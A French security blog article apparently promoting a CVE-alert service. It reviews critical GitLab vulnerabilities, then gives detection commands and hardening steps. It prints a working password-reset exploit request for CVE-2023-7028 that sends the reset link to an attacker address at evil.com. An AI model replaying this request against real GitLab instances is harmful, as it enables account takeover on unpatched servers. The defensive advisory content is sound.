GitLab est la plateforme DevOps open source la plus déployée en self-hosted. Des milliers d'entreprises hébergent leur code source, leurs pipelines CI/CD et leurs secrets d'infrastructure sur des instances GitLab internes ou exposées sur internet. Des vulnérabilités critiques dans GitLab peuvent donner accès à l'intégralité du code source et des secrets d'une organisation.
CVE-2021-22205 : RCE non authentifiée (CVSS 10.0)
La pire CVE GitLab de l'histoire
CVE-2021-22205 est une exécution de code à distance non authentifiée via ExifTool — la bibliothèque utilisée par GitLab pour traiter les métadonnées des images uploadées.
Comment ça fonctionne :
GitLab passe automatiquement toute image uploadée à ExifTool pour extraire les métadonnées. Une vulnérabilité dans le traitement des fichiers DjVu par ExifTool permet d'injecter des commandes arbitraires dans les métadonnées, qui s'exécutent avec les privilèges du serveur GitLab.
Image avec métadonnées malveillantes → ExifTool → Exécution de commandes
Versions affectées : GitLab CE/EE 11.9 à 13.10.2 (avant 13.10.3)
Score CVSS : 10.0
Exploitation massive en 2021
Malgré un patch disponible depuis avril 2021, une étude de novembre 2021 révélait que ~50% des instances GitLab exposées sur internet n'étaient pas patchées. Des dizaines de milliers de serveurs ont été compromis pour déployer des cryptomineurs et des backdoors.
CVE-2023-7028 : Account Takeover sans interaction (CVSS 10.0)
Zero-click account takeover
En janvier 2024, GitLab divulguait CVE-2023-7028 — une vulnérabilité permettant de prendre le contrôle de n'importe quel compte GitLab sans interaction de l'utilisateur.
Mécanisme :
Une faille dans la fonctionnalité de réinitialisation de mot de passe permet d'envoyer l'email de réinitialisation vers une adresse email arbitraire contrôlée par l'attaquant, en manipulant simplement le paramètre de l'email dans la requête de réinitialisation.
POST /users/password HTTP/1.1
user[email][]=victim@company.com&user[email][]=attacker@evil.com
GitLab envoyait le lien de réinitialisation AUX DEUX adresses — permettant à l'attaquant de prendre le contrôle du compte sans que la victime n'ait besoin de cliquer sur quoi que ce soit.
Versions affectées : GitLab CE/EE 16.1 à 16.7.1
Score CVSS : 10.0
Si le compte compromis a le MFA activé, l'account takeover ne suffit pas seul — mais combiné avec CVE-2023-5356 (CVSS 9.6, abus de Slack/Mattermost pour l'exécution de slash commands), cela donne un RCE complet.
CVE-2022-2884 : RCE via GitHub import (CVSS 9.9)
Une faille dans la fonctionnalité d'import depuis GitHub permettait à un utilisateur authentifié d'exécuter du code sur le serveur GitLab. Exploitait une injection de commandes dans le parseur de l'API GitHub.
CVE-2024-45409 : SAML Auth Bypass (CVSS 10.0)
En septembre 2024, une faille de contournement d'authentification SAML dans la gem Ruby ruby-saml utilisée par GitLab. Permettait de s'authentifier en tant que n'importe quel utilisateur via une réponse SAML forgée.
Détecter une compromission
Logs à surveiller
# Logs d'authentification GitLab
/var/log/gitlab/gitlab-rails/production_json.log
# Chercher des authentifications inhabituelles
grep "password_reset" /var/log/gitlab/gitlab-rails/production_json.log | tail -100
# Accès API suspects
grep "method.*POST.*upload" /var/log/gitlab/nginx/gitlab_access.log
Indicateurs de compromission CVE-2021-22205
# Chercher des processus suspects lancés par l'utilisateur git
ps aux | grep git | grep -E "bash|sh|curl|wget|python"
# Vérifier les crontabs de l'utilisateur git
crontab -u git -l
# Fichiers récemment modifiés dans les répertoires GitLab
find /var/opt/gitlab -newer /tmp/ref_date -type f | grep -v ".log"
Sécuriser GitLab
1. Mettre à jour régulièrement
GitLab publie des patches de sécurité critiques fréquemment. Activez les notifications :
# Vérifier la version actuelle
gitlab-rake gitlab:env:info | grep "GitLab"
# Mettre à jour (package Omnibus)
apt-get update && apt-get install gitlab-ee
# ou
yum update gitlab-ee
2. Restreindre l'accès réseau
Si GitLab est self-hosted, évaluez s'il doit vraiment être accessible depuis internet :
# Exemple nginx : limiter aux IPs autorisées
location / {
allow 10.0.0.0/8;
allow 192.168.0.0/16;
deny all;
}
3. Désactiver les inscriptions publiques
Admin Area → Settings → General → Sign-up restrictions
→ Décocher "Sign-up enabled"
→ Activer "Require admin approval for new sign-ups"
4. Activer le MFA obligatoire
Admin Area → Settings → General → Sign-in restrictions
→ Activer "Two-factor authentication" pour tous les utilisateurs
5. Restreindre les imports depuis des sources externes
Désactivez l'import GitHub/Bitbucket/etc. si non utilisé — c'est un vecteur d'attaque (CVE-2022-2884).
6. Runner GitLab CI : isoler les executors
Les runners GitLab CI exécutent du code potentiellement non fiable. Utilisez des executors Docker isolés, jamais Shell sur le serveur GitLab lui-même.
Enregistrez votre version GitLab dans votre parc sur cveo.tech pour recevoir des alertes dès qu'une CVE critique est publiée.